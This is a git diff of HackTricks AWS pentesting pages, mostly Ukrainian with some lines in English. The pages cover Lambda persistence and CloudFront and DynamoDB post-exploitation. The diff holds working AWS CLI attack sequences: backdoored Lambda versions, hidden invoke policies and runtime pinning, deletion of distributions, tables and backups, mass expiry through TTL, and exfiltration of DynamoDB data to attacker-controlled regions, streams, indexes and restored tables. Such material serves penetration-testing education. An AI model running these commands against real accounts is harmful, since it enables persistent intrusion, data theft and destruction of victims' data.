diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1711c77c3..f48427419 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -Можна **introduce/backdoor a layer to execute arbitrary code** коли Lambda виконується в прихованому режимі: +It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusing Lambda Layers також можливо зловживати extensions і persist в Lambda, а також steal та modify requests. +Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Можна надати доступ до різних дій Lambda (такі як invoke або update code) зовнішнім акаунтам: +It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
### Versions, Aliases & Weights -Lambda може мати **different versions** (кожна версія з різним кодом).\ -Далі можна створити **different aliases with different versions** функції та задати різні weights для кожного.\ -Таким чином атакуючий може створити **backdoored version 1** і **version 2 with only the legit code** і **only execute the version 1 in 1%** запитів, щоб залишатися stealth. +A Lambda can have **different versions** (with different code each version).\ +Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ +This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
@@ -54,8 +54,8 @@ Lambda може мати **different versions** (кожна версія з рі ### Cron/Event actuator -Те, що можна змусити **lambda functions run when something happen or when some time pass**, робить Lambda зручною і поширеною технікою для отримання persistence та уникнення детекції.\ -Ось кілька ідей, як зробити вашу **presence in AWS more stealth by creating lambdas**. +The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ +Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. - Every time a new user is created lambda generates a new user key and send it to the attacker. - Every time a new role is created lambda gives assume role permissions to compromised users. @@ -63,7 +63,7 @@ Lambda може мати **different versions** (кожна версія з рі ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -Зловживання environment variable `AWS_LAMBDA_EXEC_WRAPPER` дозволяє виконати wrapper-скрипт під контролем атакуючого перед запуском runtime/handler. Доставте wrapper через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Wrapper виконується всередині процесу runtime функції, успадковує function execution role і вкінці `exec`'ує реальний runtime так, щоб оригінальний handler все ще виконувався нормально. +Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Abuse Lambda asynchronous destinations разом із Recursion configuration дозволяє змусити функцію постійно перевикликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє recursive loops, але встановлення recursion config на Allow знову їх вмикає. Destinations доставляють на стороні сервісу для async invokes, тож один seed invoke створює stealthy, code-free heartbeat/backdoor канал. Опційно обмежуйте через reserved concurrency, щоб зменшити шум. +Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -Створіть приховану Lambda version з логікою атакуючого і scope-ніть resource-based policy на цю конкретну версію (або alias) використовуючи параметр `--qualifier` в `lambda add-permission`. Надайте лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для принципала атакуючого. Звичайні виклики через ім'я функції або primary alias лишаються незмінними, тоді як атакуючий може напряму викликати backdoored version ARN. +Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN. -Це stealthier ніж exposure через Function URL і не змінює primary traffic alias. +This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias. {{#ref}} aws-lambda-alias-version-policy-backdoor.md {{#endref}} +### Freezing AWS Lambda Runtimes +An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes. + +The attacker modifies the runtime management configuration to pin the runtime version: +```bash +# Invoke the function to generate runtime logs +aws lambda invoke \ +--function-name $TARGET_FN \ +--payload '{}' \ +--region us-east-1 /tmp/ping.json + +sleep 5 + +# Freeze automatic runtime updates on function update +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on FunctionUpdate \ +--region us-east-1 +``` +Перевірте застосовану конфігурацію: +```bash +aws lambda get-runtime-management-config \ +--function-name $TARGET_FN \ +--region us-east-1 +``` +Необов'язково: зафіксувати конкретну версію середовища виконання (runtime) +```bash +# Extract Runtime Version ARN from INIT_START logs +RUNTIME_ARN=$(aws logs filter-log-events \ +--log-group-name /aws/lambda/$TARGET_FN \ +--filter-pattern "INIT_START" \ +--query 'events[0].message' \ +--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) +``` +Прив'язати до конкретної версії runtime: +```bash +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on Manual \ +--runtime-version-arn $RUNTIME_ARN \ +--region us-east-1 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index adc5c640c..479e348ba 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -10,22 +10,31 @@ ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +Зловмисник, якому надано право cloudfront:Delete*, може видаляти distributions, policies та інші критично важливі об'єкти конфігурації CDN — наприклад distributions, cache/origin policies, key groups, origin access identities, functions/configs та суміжні ресурси. Це може спричинити перебої в роботі сервісу, втрату контенту та видалення конфігурації або судово-технічних артефактів. + +Щоб видалити distribution, зловмисник може скористатися: +```bash +aws cloudfront delete-distribution \ +--id \ +--if-match +``` ### Man-in-the-Middle -Ця [**стаття в блозі**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, у яких **Lambda** може бути додано (або змінено, якщо він уже використовується) в комунікацію через **CloudFront** з метою **викрадення** інформації користувачів (наприклад, сесійного **cookie**) та **зміни** **response** (інжекція шкідливого JS скрипта). +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додано (або змінено, якщо його вже використовують) у комунікацію через **CloudFront** з метою викрадення інформації користувача (наприклад, сесійного **cookie**) та модифікації **response** (впровадження шкідливого **JS** скрипту). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### сценарій 1: MitM де CloudFront налаштовано для доступу до деякого HTML у bucket -- **Create** the malicious **function**. -- **Associate** її з CloudFront distribution. -- Встановіть **event type to "Viewer Response"**. +- **Створіть** шкідливу **функцію**. +- **Прив'яжіть** її до дистрибуції **CloudFront**. +- **Встановіть тип події на "Viewer Response"**. -Отримавши доступ до response, можна викрасти cookie користувачів та інжектувати шкідливий JS. +Отримавши доступ до **response**, ви можете викрасти **cookie** користувача та впровадити шкідливий **JS** скрипт. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### сценарій 2: MitM, коли CloudFront вже використовує lambda function -- **Modify the code** of the lambda function, щоб викрасти чутливу інформацію +- **Змініть код** **lambda function**, щоб викрасти чутливу інформацію -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Ви можете переглянути the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 10acb53f6..6770fd9eb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -12,7 +12,7 @@ ### `dynamodb:BatchGetItem` -Зловмисник з цими дозволами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (`describe-table`)). +Attacker з цими дозволами зможе **get items from tables by the primary key** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати primary keys (їх можна отримати, отримавши table metadata (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc шляхом знаходження конфіденційної інформації в таблиці +**Потенційний вплив:** Indirect privesc шляхом виявлення конфіденційної інформації в таблиці ### `dynamodb:GetItem` -**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з однієї таблиці, маючи первинний ключ запису, який потрібно отримати: +**Подібно до попередніх дозволів** цей дозволяє потенційному зловмиснику прочитати значення лише з 1 таблиці, маючи первинний ключ запису, який потрібно отримати: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -З цим дозволом також можна використовувати метод **`transact-get-items`**, наприклад: +З цим дозволом також можливо використати метод **`transact-get-items`** наступним чином: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Можливий вплив:** Непрямий privesc шляхом знаходження чутливої інформації в таблиці +**Потенційний вплив:** Косвений privesc шляхом знаходження конфіденційної інформації в таблиці ### `dynamodb:Query` -**Схоже на попередні дозволи** цей дозволяє потенційному зловмиснику читати значення лише з 1 таблиці за наявності первинного ключа запису, який потрібно отримати. Дозволяється використовувати [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаний) — "EQ", тому ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті. +**Аналогічно до попередніх дозволів** цей дозвол дає потенційному зловмиснику можливість читати значення лише з однієї таблиці за умови надання первинного ключа запису для отримання. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який повинен бути вказаний), — "EQ", тому ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті. {{#tabs }} {{#tab name="json file" }} @@ -107,19 +107,19 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Можливий вплив:** Опосередковане privesc через виявлення конфіденційної інформації в таблиці +**Потенційний вплив:** Опосередковане privesc шляхом знаходження конфіденційної інформації в таблиці ### `dynamodb:Scan` -Ви можете використати цей дозвіл, щоб **легко dump всю таблицю**. +Ви можете використати цей дозвіл, щоб **dump the entire table easily**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Potential Impact:** Непряма privesc шляхом виявлення чутливої інформації в таблиці +**Можливий вплив:** Непрямий privesc шляхом знаходження конфіденційної інформації в таблиці ### `dynamodb:PartiQLSelect` -Ви можете використовувати цей дозвіл, щоб **легко dump всю таблицю**. +Ви можете використовувати цей дозвіл, щоб **легко dump всю таблицю** ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -129,13 +129,13 @@ aws dynamodb execute-statement \ aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -але потрібно вказати первинний ключ зі значенням, тому це не дуже корисно. +але потрібно вказати первинний ключ із значенням, тому це не надто корисно. -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potential Impact:** Непрямий privesc шляхом виявлення чутливої інформації в таблиці ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Цей дозвіл надає attacker можливість **експортувати всю таблицю в S3 bucket** за своїм вибором: +Ця дозвола дозволить нападникові **експортувати всю таблицю в S3 bucket** на свій вибір: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,34 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Зверніть увагу, що для цього таблиця має мати point-in-time-recovery увімкненим. Ви можете перевірити наявність цієї опції в таблиці за допомогою: +Зверніть увагу, що для цього таблиця має мати увімкнену point-in-time-recovery, ви можете перевірити, чи таблиця має її за допомогою: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Якщо він не увімкнений, вам потрібно буде **увімкнути його**, а для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**: +Якщо це не ввімкнено, вам потрібно **увімкнути це**, а для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potential Impact:** Опосередкований privesc шляхом знаходження конфіденційної інформації в таблиці +**Potential Impact:** Indirect privesc шляхом знаходження чутливої інформації в таблиці ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Маючи ці дозволи, атакуючий зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, за наявності необхідних дозволів, він зможе перевірити **інформацію** з резервних копій, яка **більше не міститься в production** таблиці. + +З цими дозволами нападник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Далі, маючи необхідні дозволи, він зможе перевіряти **інформацію** з резервних копій, яка **більше не міститься в продукційній таблиці**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Потенційний вплив:** Опосередковане privesc шляхом знаходження чутливої інформації у резервній копії таблиці +**Potential Impact:** Непряма privesc шляхом знаходження чутливої інформації у резервній копії таблиці ### `dynamodb:PutItem` -Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент з вказаним первинним ключем. +Цей дозвіл дає змогу користувачам додавати **новий елемент до таблиці або замінити існуючий елемент** новим елементом. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** новим елементом. Якщо первинний ключ не існує, новий елемент з вказаним первинним ключем буде **створений**. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +203,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Потенційний вплив:** Експлуатація додаткових вразливостей/методів обходу завдяки можливості додавати/змінювати дані в таблиці DynamoDB +**Потенційний вплив:** Експлуатація інших вразливостей/обхідних механізмів завдяки можливості додавати/змінювати дані в таблиці DynamoDB ### `dynamodb:UpdateItem` -Цей дозвіл дозволяє користувачам **змінювати існуючі атрибути елемента або додавати нові атрибути до елемента**. Ця операція **не замінює** весь елемент; вона лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем і встановить атрибути, зазначені у виразі оновлення. +Цей дозвіл дозволяє користувачам **змінювати існуючі атрибути елемента або додавати нові атрибути до елемента**. Вона **не замінює** весь елемент; вона лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем та встановить атрибути, вказані в update expression. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,21 +243,21 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Потенційний вплив:** Експлуатація додаткових вразливостей/обхідних шляхів через можливість додавати/змінювати дані в таблиці DynamoDB +**Потенційний вплив:** Експлуатація подальших уразливостей/обхідних шляхів за рахунок можливості додавати/змінювати дані в таблиці DynamoDB ### `dynamodb:DeleteTable` -Атакувальник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**. +Зловмисник з цим дозволом може **видалити таблицю DynamoDB, спричинивши втрату даних** ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Потенційний вплив**: Втрата даних та збої в роботі сервісів, що залежать від видаленої таблиці. +**Потенційний вплив**: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці. ### `dynamodb:DeleteBackup` -An attacker з цим дозволом може **видалити резервну копію DynamoDB, що може спричинити втрату даних у разі сценарію відновлення після аварії**. +Зловмисник з цим дозволом може **видалити резервну копію DynamoDB, що потенційно може призвести до втрати даних у разі аварійного відновлення**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ @@ -269,9 +270,9 @@ aws dynamodb delete-backup \ > [!NOTE] > TODO: Перевірити, чи це справді працює -Зловмисник із такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю для початку трансляції змін і потім отримати доступ до stream, щоб у режимі реального часу відстежувати зміни таблиці**. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage. +Зловмисник з такими дозволами може **увімкнути потік у таблиці DynamoDB, оновити таблицю, щоб почати потокове передавання змін, а потім отримати доступ до потоку для відстеження змін у таблиці в режимі реального часу**. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage. -1. Увімкнути stream на таблиці DynamoDB: +1. Увімкнути потік у таблиці DynamoDB: ```bash aws dynamodb update-table \ --table-name TargetTable \ @@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Використовуйте shard iterator, щоб отримати доступ і exfiltrate дані зі stream: +4. Використайте shard iterator для доступу та exfiltrate даних зі stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potential impact**: Моніторинг у реальному часі та витік даних змін таблиці DynamoDB. +**Potential impact**: Моніторинг у реальному часі та data leakage змін таблиці DynamoDB. ### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` -An attacker, маючи лише `dynamodb:UpdateItem` на таблиці, може читати елементи без стандартних прав на читання (`GetItem`/`Query`/`Scan`), виконавши безпечне оновлення та вказавши `--return-values ALL_OLD`. DynamoDB поверне повний образ елемента до оновлення в полі `Attributes` відповіді (це не витрачає RCUs). +Атакувач, який має лише `dynamodb:UpdateItem` на таблиці, може читати елементи без звичних дозволів на читання (`GetItem`/`Query`/`Scan`) шляхом виконання нешкідливого оновлення і запиту `--return-values ALL_OLD`. DynamoDB поверне повне попереднє зображення елемента у полі `Attributes` відповіді (це не споживає RCUs). - Мінімальні дозволи: `dynamodb:UpdateItem` на цільовій таблиці/ключі. -- Передумови: Ви повинні знати первинний ключ елемента. +- Передумови: потрібно знати первинний ключ елемента. -Example (adds a harmless attribute and exfiltrates the previous item in the response): +Приклад (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +319,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -Відповідь CLI включатиме блок `Attributes`, що містить повний попередній елемент (усі атрибути), фактично забезпечуючи примітив читання при доступі лише для запису. +Відповідь CLI включатиме блок `Attributes`, який містить повний попередній елемент (усі атрибути), фактично надаючи примітив читання (read primitive) з доступу лише для запису. -**Потенційний вплив:** Читати довільні елементи таблиці, маючи лише права запису, що дозволяє ексфільтрацію конфіденційних даних, коли відомі первинні ключі. +**Потенційний вплив:** Читання довільних елементів таблиці, маючи лише права на запис, що дозволяє екфільтрацію конфіденційних даних, якщо відомі первинні ключі. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Прихована ексфільтрація шляхом додавання нової регіональної репліки до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати регіональну репліку, уся таблиця реплікується в регіон, обраний атакуючим, звідки атакуючий може прочитати всі елементи. +Прихована екфільтрація шляхом додавання нової регіональної репліки до DynamoDB Global Table (version 2019.11.21). Якщо принципал може додати регіональну репліку, уся таблиця реплікується в регіон, обраний зловмисником, звідки зловмисник може прочитати всі елементи. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +355,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Дозволи: `dynamodb:UpdateTable` (з `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо в репліці використовується CMK, можуть знадобитися дозволи KMS для цього ключа. +Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Якщо у репліці використовується CMK, можуть знадобитися права KMS для цього ключа. -Потенційний вплив: Повне реплікування таблиці в регіон, контрольований зловмисником, що призводить до прихованого виведення даних. +Potential Impact: Повна реплікація таблиці в регіон, контрольований зловмисником, що призводить до прихованого виведення даних. ### `dynamodb:TransactWriteItems` (читання через невдалу умову + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Зловмисник із привілеями транзакційного запису може вивести повні атрибути існуючого елемента, виконавши `Update` всередині `TransactWriteItems`, який навмисно призводить до невдачі `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. При невдачі DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ лише для запису на доступ для читання цільових ключів. +Зловмисник із правами на транзакційні операції запису може вивести повні атрибути існуючого елементу, виконавши `Update` всередині `TransactWriteItems`, що навмисно призведе до невдачі `ConditionExpression`, одночасно встановивши `ReturnValuesOnConditionCheckFailure=ALL_OLD`. При відмові DynamoDB включає попередні атрибути в причини скасування транзакції, фактично перетворюючи доступ тільки для запису в доступ для читання цільових ключів. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,21 +410,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required. +Дозволи: `dynamodb:TransactWriteItems` на цільовій таблиці (та на відповідному item). Дозволи для читання не потрібні. -Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons. +Можливий вплив: читання довільних елементів (за первинним ключем) з таблиці, використовуючи лише привілеї транзакційного запису через повернуті причини скасування. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` на GSI -Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановіть цей атрибут у константне значення для всіх items, а потім `Query` індекс, щоб отримати повні items. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, за умови, що ви можете виконати запит до ARN індексу. +Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з `ProjectionType=ALL` на атрибуті з низькою ентропією, встановивши цьому атрибуту сталe значення для всіх елементів, а потім `Query` індекс, щоб отримати повні елементи. Це працює навіть якщо `Query`/`Scan` на базовій таблиці заборонено, доки ви можете виконувати запит до ARN індексу. -- Minimum permissions: -- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`). -- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item). -- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). +- Мінімальні дозволи: +- `dynamodb:UpdateTable` на цільовій таблиці (щоб створити GSI з `ProjectionType=ALL`). +- `dynamodb:UpdateItem` на ключах цільової таблиці (щоб встановити індексований атрибут для кожного елемента). +- `dynamodb:Query` на ARN ресурсу індексу (`arn:aws:dynamodb:::table//index/`). -Steps (PoC in us-east-1): +Кроки (PoC в us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Можливий вплив:** Повне виведення таблиці шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли базові API для читання таблиці заборонені. +**Потенційний вплив:** Повне exfiltration всієї таблиці шляхом запиту новоствореного GSI, який проєктує всі атрибути, навіть коли базові API читання таблиці заборонені. -### `dynamodb:EnableKinesisStreamingDestination` (Безперервне виведення даних через Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Безперервне exfiltration через Kinesis Data Streams) -Зловживання DynamoDB Kinesis streaming destinations для безперервного виведення змін з таблиці в Kinesis Data Stream, контрольований атакуючим. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до стріму без потреби в дозволах на читання таблиці. +Зловживання DynamoDB Kinesis streaming destinations для безперервного exfiltrate змін з таблиці в контрольований зловмисником Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE пересилається майже в реальному часі до Kinesis Data Stream без потреби в дозволах на читання таблиці. -Мінімальні дозволи (атакуючий): +Мінімальні дозволи (зловмисник): - `dynamodb:EnableKinesisStreamingDestination` на цільовій таблиці -- За бажанням `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` для моніторингу статусу -- Дозволи на читання на Kinesis стрімі, яким володіє атакуючий, для отримання записів: `kinesis:*` +- За потреби `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` для моніторингу статусу +- Дозволи на читання на Kinesis stream, що належить зловмиснику, для споживання записів: `kinesis:*`
PoC (us-east-1) @@ -528,8 +529,49 @@ aws dynamodb disable-kinesis-streaming-destination \ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` +### `dynamodb:UpdateTimeToLive` + +Зловмисник, який має дозвіл dynamodb:UpdateTimeToLive, може змінити конфігурацію TTL (time-to-live) таблиці — увімкнути або вимкнути TTL. + +Коли TTL увімкнено, окремі елементи, що містять налаштований атрибут TTL, автоматично видаляються, коли настає їхній час закінчення. Значення TTL — це просто ще один атрибут кожного елемента; елементи без цього атрибута не підлягають видаленню за TTL. + +Якщо елементи не містять атрибута TTL, зловмиснику також знадобиться дозвіл на оновлення елементів (наприклад dynamodb:UpdateItem), щоб додати атрибут TTL і спричинити масові видалення. + +Спочатку увімкніть TTL для таблиці, вказавши ім'я атрибута, який використовуватиметься для встановлення часу життя: +```bash +aws dynamodb update-time-to-live \ +--table-name \ +--time-to-live-specification "Enabled=true, AttributeName=" +``` +Потім оновіть items, додавши атрибут TTL (epoch seconds), щоб вони вичерпали термін дії та були видалені: +```bash +aws dynamodb update-item \ +--table-name \ +--key '' \ +--update-expression "SET = :t" \ +--expression-attribute-values '{":t":{"N":""}}' +``` +### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` + +Зловмисник, який має дозволи `dynamodb:RestoreTableFromAwsBackup` або `dynamodb:RestoreTableToPointInTime`, може створювати нові таблиці, відновлені з бекапів або з point-in-time recovery (PITR), не перезаписуючи початкову таблицю. Відновлена таблиця містить повне зображення даних на вибраний момент, тож зловмисник може використовувати її для експфільтрації історичної інформації або отримати повний дамп попереднього стану бази даних. + +Restore a DynamoDB table from an on-demand backup: +```bash +aws dynamodb restore-table-from-backup \ +--target-table-name \ +--backup-arn +``` +Відновити таблицю DynamoDB до точки в часі (створити нову таблицю зі станом після відновлення): +```bash +aws dynamodb restore-table-to-point-in-time \ +--source-table-name \ +--target-table-name \ +--use-latest-restorable-time +````
